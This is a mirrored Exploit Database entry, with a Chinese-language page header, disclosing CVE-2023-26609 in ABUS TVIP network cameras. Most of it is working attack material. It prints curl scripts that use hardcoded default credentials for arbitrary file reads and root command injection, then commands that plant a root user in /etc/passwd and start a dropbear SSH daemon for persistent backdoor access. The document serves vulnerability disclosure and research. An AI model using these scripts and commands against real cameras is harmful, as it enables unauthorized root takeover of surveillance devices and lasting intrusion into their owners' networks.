ABUS Security Camera TVIP 20000-21150 – LFI, RCE and SSH Root Access

• Exploit Database
• 120 阅读

• 作者： d1g@segfault.net
  日期： 2023-04-06
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51294/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156

  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access # Date: 2023-02-16 # Exploit Author: d1g@segfault.net for NetworkSEC [NWSSA-001-2023] # Vendor Homepage: https://www.abus.com # Version/Model: TVIP 20000-21150 (probably many others) # Tested on: GM ARM Linux 2.6, Server: Boa/0.94.14rc21 # CVE: CVE-2023-26609 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++     ++++++++++++++++++++ 0x00 DESCRIPTION ++++++++++++++++++++   During a recent engagement, a network camera was discovered. Web fuzzing revealed a URL of   /device   containing output about running processes as well as a pretty complete listing of webcontent which inevitably arose our suspicion.   More research revealed that files w/ known LFI and RCE issues were present, leading to either arbitrary file reads or remote code execution, both w/ root privileges and using known default credentials (either admin:admin or manufacture:erutcafunam).   After closer filesystem inspection, RCE led to a remote root SSH shell.     +++++++++++++++ 0x01 IMPACT +++++++++++++++   The LFI vulnerability can be exploited using a URL of:   /cgi-bin/admin/fileread?READ.filePath=[filename]   and is able to read any file on the system.     The RCE vulnerability originates from a command injection and may be exploited by calling a URL of:   /cgi-bin/mft/wireless_mft?ap=irrelevant;[command]   (as classy as it can get, we can also use the pipe "|" instead, and linefeed a.k.a. "%0a" works as well)   effectively giving us remote code (or rather command) execution.     +++++++++++++++++++++++++++++++ 0x02 PROOF OF CONCEPT (PoC) +++++++++++++++++++++++++++++++   #!/bin/bash # # ABUS Security Camera LFI # curl -iv "http://admin:admin@a.b.c.d/cgi-bin/admin/fileread?READ.filePath=/$1"   The script can be called like:   ./LFI.sh /etc/passwd   to display the contents of the passwd file. When reading the configuration of the BOA server (/etc/boa.conf), we find hardcoded credentials:   # MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam   These can now be used to execute the RCE (based on command injection):   #!/bin/bash # # ABUS Security Camera RCE # curl -iv "http://manufacture:erutcafunam@a.b.c.d/cgi-bin/mft/wireless_mft?ap=testname;$1"   and can be called like:   ./LFI.sh id   to display a user id of   uid=0(root) gid=0(root)     +++++++++++++++++++++++++++++++ 0x03 SSH Remote Root Access +++++++++++++++++++++++++++++++   After having discovered the previously described vulnerabilities, multiple attempts to spawn a nice reverse shell failed as the system was minimal and did neither offer binaries like bash or netcat, nor any compilers or scripting language interpreters to execute our code. Furthermore, binaries that we transferred onto the system (for ARM little-endian architecture) either resulted in "Segmentation fault" (mfsvenom) or as we saw later "Illegal instruction" (netcat for ARM).   We had to inspect the local attack surface and use the LOLBIN approach, a.k.a. living off the land binaries available on the system.   In this case, the minimal and often busybox-included dropbear SSH daemon became pretty handy.     To successfully implement a remote root SSH shell for persistance, several steps had to be undertaken:     1) First, we had to create a valid SSH keyset by reusing our RCE.sh skript:   ./RCE.sh "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"     2) Then, add our user to the password file, e.g.:   ./RCE.sh "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd"     3) Finally, start the server:   ./RCE.sh "/etc/dropbear/dropbear%20-E%20-F"     We can now SSH (using obsolete and insecure algorithms for both KeyExchange and HostKey) into our rootshell:   sshpass -p XXXXXXX ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@x.x.x.x   Welcome to   __________ __ ___ _ __ |___|/\/ __ \/\ |_ \/\ \ \ / / | |___/ /\ \| /__\ \/ /\ \| | \ |/ /\ \ \ V / |___|| |__| | |_ / | |__| | | | | | | |__| | \ / | ||__| | |\ \ |__| | |_/ / |__| | | |_||_||_| |_| \_\|_||_| |___ /|_||_| |_|   For further information check: http://www.GM.com/   BusyBox v1.1.3 (2012.07.16-03:58+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands.   [d1g]# id uid=0(root) gid=0(root)     ---   #EOF